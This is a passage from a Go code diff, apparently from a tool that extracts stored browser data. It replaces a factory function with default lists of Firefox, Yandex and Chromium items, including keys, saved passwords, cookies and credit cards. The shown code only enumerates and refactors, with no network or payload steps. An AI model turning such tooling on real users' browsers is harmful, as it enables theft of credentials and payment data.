TempFirefoxPassword case FirefoxBookmark: - return "firefoxBookmark" + return TempFirefoxBookmark case FirefoxDownload: - return "firefoxDownload" + return TempFirefoxDownload case FirefoxHistory: - return "firefoxHistory" + return TempFirefoxHistory case FirefoxLocalStorage: return UnsupportedItem case FirefoxCreditCard: @@ -161,43 +121,38 @@ func (i Item) String() string { } } -// NewBrowsingData returns a new Source instance. -// TODO: remove this function -func (i Item) NewBrowsingData() data2.Source { - switch i { - case ChromiumKey: - return nil - case ChromiumPassword: - return &data2.ChromiumPassword{} - case ChromiumCookie: - return &data2.ChromiumCookie{} - case ChromiumBookmark: - return &data2.ChromiumBookmark{} - case ChromiumDownload: - return &data2.ChromiumDownload{} - case ChromiumLocalStorage: - return nil - case ChromiumCreditCard: - return &data2.ChromiumCreditCard{} - case ChromiumExtension: - return nil - case ChromiumHistory: - return &data2.ChromiumHistory{} - case YandexPassword: - return &data2.ChromiumPassword{} - case YandexCreditCard: - return &data2.ChromiumCreditCard{} - case FirefoxPassword: - return &data2.FirefoxPassword{} - case FirefoxCookie: - return &data2.FirefoxCookie{} - case FirefoxBookmark: - return &data2.FirefoxBookmark{} - case FirefoxDownload: - return &data2.FirefoxDownload{} - case FirefoxHistory: - return &data2.FirefoxHistory{} - default: - return nil - } +var DefaultFirefox = []Item{ + FirefoxKey4, + FirefoxPassword, + FirefoxCookie, + FirefoxBookmark, + FirefoxHistory, + FirefoxDownload, + FirefoxCreditCard, + FirefoxLocalStorage, + FirefoxExtension, +} + +var DefaultYandex = []Item{ + ChromiumKey, + ChromiumCookie, + ChromiumBookmark, + ChromiumHistory, + ChromiumDownload, + ChromiumLocalStorage, + ChromiumExtension, + YandexPassword, + YandexCreditCard, +} + +var DefaultChromium = []Item{ + ChromiumKey, + ChromiumPassword, + ChromiumCookie, + ChromiumBookmark, + ChromiumHistory, + ChromiumDownload, + ChromiumCreditCard, + ChromiumLocalStorage, + ChromiumExtension, } diff --git a/internal/utils/typeutil/typeutil.go b/internal/utils/typeutil/typeutil.go index 9512822..2402bb6 100644 --- a/internal/utils/typeutil/typeutil.go +++ b/internal/utils/typeutil/typeutil.go @@ -7,4 +7,4 @@ func Keys[K comparable, V any](m map[K]V) []K { r = append(r, k) } return r -} \ No newline at end of file +}